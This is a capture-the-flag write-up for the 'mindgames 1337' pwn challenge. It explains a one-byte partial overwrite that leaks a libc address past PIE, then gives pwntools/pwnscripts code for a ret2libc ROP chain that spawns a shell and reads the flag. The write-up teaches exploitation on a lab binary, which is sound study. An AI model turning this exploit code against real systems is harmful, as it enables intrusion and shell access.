Tags: pwnscripts rop
Rating: 5.0
This time I hardened my mind even better. No way you are gonna win this one!
nc pwn.institute 41337
If you didn't know, the library used in the solution code here is pwnscripts
There's essentially only 1 difference between mindgames 1336 & 1337:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
PIE is enabled! Ain't that grand.
If you scroll up a little bit to my previous challenge's writeup, you'll realise that my previous exploit only works if PIE is disabled. To finish the challenge here, we'll need to find a different way to leak libc.
In the previous challenge, I noted that we didn't use this function in our exploit:
int show_highscore() {
return printf("Current highscore:\n%d\t by \t %s\n", highscore, selected_name);
}
Here, it becomes important. In set_new_highscore()
, memcpy()
copies our input to the aptly-titled overflow[]
:
set_new_highscore() {
ssize_t n; // ST08_8
char buf[0x110]; // [rsp+10h] [rbp-110h]
printf("Give me your name: ");
selected_name = &overflow;
n = read(0, buf, 0x400);
memcpy(&overflow, buf, n); // <----- focus on this
}
This will naturally cause an overflow into a number of other variables:
LOAD:0000000000004018 off_4018 dq offset localtime ; DATA XREF: _localtime↑r
LOAD:0000000000004020 off_4020 dq offset puts ; DATA XREF: _puts↑r
LOAD:0000000000004028 off_4028 dq offset __stack_chk_fail
LOAD:0000000000004028 ; DATA XREF: ___stack_chk_fail↑r
LOAD:0000000000004030 off_4030 dq offset printf ; DATA XREF: _printf↑r
LOAD:0000000000004038 off_4038 dq offset alarm ; DATA XREF: _alarm↑r
LOAD:0000000000004040 off_4040 dq offset read ; DATA XREF: _read↑r
...
LOAD:00000000000040C0 ; char overflow[32]
LOAD:00000000000040C0 overflow db 20h dup(0) ; DATA XREF: set_new_highscore+2B↑o
LOAD:00000000000040E0 highscore dd 1 ; DATA XREF: srand_init+CC↑w
LOAD:00000000000040E4 align 8
LOAD:00000000000040E8 selected_name dq 0 ; DATA XREF: srand_init+B2↑w
LOAD:00000000000040F0 align 20h
LOAD:0000000000004100 NAMEARRAY dq offset ...
We can overwrite selected_name
with this smaller overflow. The trick here is to realise that the original value of selected_name
(&overflow == PIE+0x40c0
) only differs from the location of the GOT table by it's least-significant-byte. Or to put it a little bit more meaningfully: if we overflow just one byte of selected_name
to, e.g. 0x30
, we can leak the value of the GOT function at overflow-0xc0+0x30
(which is printf
).
Everything after that is really just a simple exercise in implementation. We start with a few re-definitions from the previous code to match the new exploit:
context.binary = 'mindgames_1337'
context.binary.symbols = {'overflow': 0x40c0, 'selected_name': 0x40e8}
context.binary.got = {'puts':0x4020}
context.libc_database = 'libc-database'
context.libc = 'libc6_2.28-10_amd64'# from prev chal
def read_400(payload, minwins=0): # Helper function to do the set_new_highscore() overflow of 0x400 bytes
p.sendlineafter('> ', '2')
for i in range(minwins):
p.sendlineafter('>' if i else '> ', str(C.rand()))
p.sendlineafter('>' if minwins else '> ', '0')
p.recvuntil('Amazing!\n')
p.sendafter('name: ', payload)
Then, we leak a single libc address. We only need one address because we already know the libc id from the previous challenge.
payload = b'\0'*(context.binary.symbols['selected_name']-context.binary.symbols['overflow'])
payload+= pack(context.binary.got['puts'])[:1] # Overwrite the last byte, so PIE.overflow -> PIE.puts
read_400(payload, nextrand)
p.sendlineafter('> ', str(1))
p.recvuntil('\t by \t ')
context.libc.calc_base('puts', extract_first_bytes(p.recvline(),6))
Finally, do a return-to-libc-system again:
r = ROP(context.libc)
r.raw(b'\0'*0x118)
r.system(context.libc.symbols['str_bin_sh'])
read_400(r.chain())
p.interactive()
It hardly ever changes.
[*] Switching to interactive mode
$ ls
flag
mindgames
$ cat flag
BCTF{and_n0w_y0u_ate_my_PIE?}
$